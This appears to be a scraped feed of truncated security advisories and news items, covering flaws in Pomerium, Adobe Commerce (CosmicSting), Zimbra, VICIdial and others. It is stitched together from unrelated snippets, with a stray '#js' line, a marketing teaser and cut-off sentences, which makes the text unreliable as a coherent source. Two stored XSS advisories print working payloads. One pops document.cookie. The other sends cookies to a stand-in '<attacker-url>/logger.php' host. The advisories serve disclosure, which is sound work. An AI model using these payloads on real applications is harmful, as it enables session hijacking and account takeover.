#js

### Impact We've identified a vulnerability in the Pomerium databroker service API that may grant unintended access under specific conditions. This affects only certain Pomerium Zero and Pomerium Enterprise deployments. #### Who is affected? A Pomerium deployment is susceptible to this issue if _all_ of the following conditions are met: - You have issued a [service account](https://www.pomerium.com/docs/capabilities/service-accounts) access token using Pomerium Zero or Pomerium Enterprise. - The access token has an explicit expiration date in the future. - The core Pomerium databroker gRPC API is not otherwise secured by network access controls. If your deployment does not meet _all_ of these conditions, you are not affected by this vulnerability. #### Details The Pomerium databroker service is responsible for managing all persistent Pomerium application state. Requests to the databroker service API are authorized by the presence of a JSON Web Token (JWT) signed by a key known by...

Supply Chain Management version 1.0 suffers from a backup disclosure vulnerability.

Cybersecurity researchers have disclosed that 5% of all Adobe Commerce and Magento stores have been hacked by malicious actors by exploiting a security vulnerability dubbed CosmicSting. Tracked as CVE-2024-34102 (CVSS score: 9.8), the critical flaw relates to an improper restriction of XML external entity reference (XXE) vulnerability that could result in remote code execution. The shortcoming,

Cybersecurity researchers are warning about active exploitation attempts targeting a newly disclosed security flaw in Synacor's Zimbra Collaboration. Enterprise security firm Proofpoint said it began observing the activity starting September 28, 2024. The attacks seek to exploit CVE-2024-45519, a severe security flaw in Zimbra's postjournal service that could enable unauthenticated attackers to

The bug gives attackers a way to run arbitrary code on affected servers and take control of them.

### Summary The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code. ### Details User with Admin role can create a Device Groups, the application did not properly sanitize the user input in the Device Groups name, when user see the detail of the Device Group, if java script code is inside the name of the Device Groups, its will be trigger. ### PoC 1. Login as an Admin role user. Then go over to "$URL/device-groups" 2. Create a new Device Group with this payload in their name ```js <img src="x" onerror="alert(document.cookie)"> ```  3. Go over to the detail page of that Device Groups, in this case "$URL/devices/group=2". Will see a pop-up.  ### Impact Attacker can use this to perform malicious java scri...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads. For example, the following payload can be used: ```test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"``` This payload triggers the XSS when the affected page i...

Did you know that over 80% of web applications fail due to poor planning and execution? Now imagine…

The FIN6 group is the likely culprit behind a spear-phishing campaign that demonstrates a shift in tactics, from targeting job seekers to going after those who hire.

An attacker with authenticated access to VICIdial as an "agent" can execute arbitrary shell commands as the "root" user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.